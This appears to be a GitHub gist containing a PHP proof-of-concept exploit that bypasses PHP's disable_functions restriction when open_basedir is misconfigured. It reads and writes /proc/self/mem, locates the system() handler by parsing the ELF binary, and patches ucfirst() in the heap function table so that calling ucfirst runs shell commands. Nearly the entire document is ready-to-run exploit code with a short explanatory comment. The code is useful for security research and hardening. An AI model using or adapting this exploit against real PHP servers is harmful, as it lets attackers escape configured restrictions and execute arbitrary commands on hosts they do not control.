Skip to content

Instantly share code, notes, and snippets.

@X-C3LL
Last active January 20, 2021 15:14
Show Gist options
  • Save X-C3LL/f961c4b9211f4f4c0c5dadcad9c76abf to your computer and use it in GitHub Desktop.
Save X-C3LL/f961c4b9211f4f4c0c5dadcad9c76abf to your computer and use it in GitHub Desktop.
<?php
/*
If open_basedir is misconfigured it is posible to read and write /proc/self/mem. This means that a PHP script can self-patch
itself to bypass disable_functions and call system() or other dangerous functions. This technique is old, indeed you can find
a PoC by Beched (https://github.com/beched/php_disable_functions_bypass) where the open@plt address is replaced by the system@plt
address (the info is extraced parsing the PHP and libc binary).
My approach is similar in the sense of taking the advantage of /usr/proc/mem, but to achieve the bypass I overwrite the handler
of an arbitrary PHP function (that has a string as parameter) inside the function_table. The handlers are extracted parsing the
basic_functions structure. This PoC was tested on a PHP-CLI (php -d 'disable_functions=system' bypass.php).
If you find usefull this script, or wanna comment something, feel free to ping me at twitter (@TheXC3LL)
Important: This should NOT work on modern webservers (/proc/self/mem is unaccesible).
*/
function memmaps() {
print "[+] Parsing mapped memory regions:\n";
$targets = Array();
$raw_map = explode(PHP_EOL,file_get_contents("/proc/self/maps"));
foreach ($raw_map as $line) {
if (substr($line,-4) == "/php") {
if (strpos($line, "r-xp") !== false) {
$range = explode(" ", $line);
$split_range = explode("-", $range[0]);
$targets["bin_start"] = hexdec($split_range[0]);
$targets["bin_end"] = hexdec($split_range[1]);
}
}
if (substr($line, -6) == "[heap]") {
$range = explode(" ", $line);
$split_range = explode("-", $range[0]);
$targets["heap_start"] = hexdec($split_range[0]);
$targets["heap_end"] = hexdec($split_range[1]);
}
}
print "\t[-] Binary: 0x" . dechex($targets["bin_start"]) . "-0x" . dechex($targets["bin_end"]) . "\n";
print "\t[-] Heap: 0x" . dechex($targets["heap_start"]) . "-0x" . dechex($targets["heap_end"]) . "\n";
return $targets;
}
function getdata($fd, $address, $size) {
fseek($fd, $address);
$data = fread($fd, $size);
return $data;
}
function trans1($value) {
return hexdec(bin2hex(strrev($value)));
}
function trans2($value) {
return strrev(hex2bin(dechex($value)));
}
function parse_elf($base) { // https://wiki.osdev.org/ELF_Tutorial
$parsed = Array();
$fd = fopen("/proc/self/mem", "rb");
$parsed["type"] = getdata($fd, $base + 0x10, 1);
$parsed["phoff"] = getdata($fd, $base + 0x20, 8);
$parsed["phentsize"] = getdata($fd, $base + 0x36, 2);
$parsed["phnum"] = getdata($fd, $base + 0x38, 2);
for ($i = 0; $i < trans1($parsed["phnum"]); $i++) {
$header = $base + trans1($parsed["phoff"]) + $i * trans1($parsed["phentsize"]);
$parsed["ptype"] = getdata($fd, $header, 4);
$parsed["pflags"] = getdata($fd, $header + 0x4, 4);
$parsed["pvaddr"] = getdata($fd, $header + 0x10, 8);
$parsed["pmemsz"] = getdata($fd, $header + 0x28, 8);
if (trans1($parsed["ptype"]) == 1 && trans1($parsed["pflags"]) == 6) {
$parsed["data_addr"] = trans1($parsed["type"]) == 2 ? trans1($parsed["pvaddr"]) : $base + trans1($parsed["pvaddr"]);
$parsed["data_size"] = trans1($parsed["pmemsz"]);
} else if (trans1($parsed["ptype"]) == 1 && trans1($parsed["pflags"]) == 5) {
$parsed["text_size"] = trans1($parsed["pmemsz"]);
}
}
return $parsed;
}
function get_handlers($base, $data_addr, $text_size, $data_size) {
print "[+] Searching for handlers in basic_functions:\n";
$handlers = Array();
$fd = fopen("/proc/self/mem", "rb");
for($i = 0; $i < $data_size / 8; $i++) {
$test = trans1(getdata($fd, $data_addr + $i * 0x8, 8));
if ($test - $base > 0 && $test - $base < $data_addr - $base) {
$fname = getdata($fd, $test, 8);
if (trans1($fname) == 0x74737269666375) { // ucfirst()
$handlers["ucfirst"] = trans1(getdata($fd, $data_addr + $i * 0x8 + 8, 8));
print "\t[-] zif_ucfirst found at 0x" . dechex($handlers["ucfirst"]) . "\n";
continue;
} else if (trans1($fname) == 0x6873657061637365) {
$handlers["system"] = trans1(getdata($fd, $data_addr + $i * 0x8 + 8 - 0x20, 8));
print "\t[-] zif_system found at 0x" . dechex($handlers["system"]) . "\n";
return $handlers;
}
}
}
}
function scan_and_patch($base, $final, $old, $new) {
print "[+] Scanning the heap to locate the function_table\n";
$fd = fopen("/proc/self/mem", "r+b");
for ($i = 0; $i < ($final - $base) / 8; $i++) {
$test = trans1(getdata($fd, $base + $i * 0x8, 8));
if ($test == $old) {
print "\t[-] zif_ucfirst referenced at 0x" . dechex($base + $i * 0x8) ."\n";
fseek($fd, $base + $i * 0x8);
print "[+] Patching ucfirst() with zif_system handler\n";
fwrite($fd,trans2($new));
return;
}
}
}
print "\t\t-=[ Bypassing disable_functions when open_basedir is misconfigured (PoC by @TheXC3LL) ]=-\n\n";
$vmmap = memmaps();
$elf = parse_elf($vmmap["bin_start"]);
$handlers = get_handlers($vmmap["bin_start"], $elf["data_addr"], $elf["data_size"], $elf["text_size"]);
scan_and_patch($vmmap["heap_start"], $vmmap["heap_end"], $handlers["ucfirst"], $handlers["system"]);
print "[+] Calling ucfirst('uname -a')...\n\n";
//Kaboom!
ucfirst("uname -a");
?>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment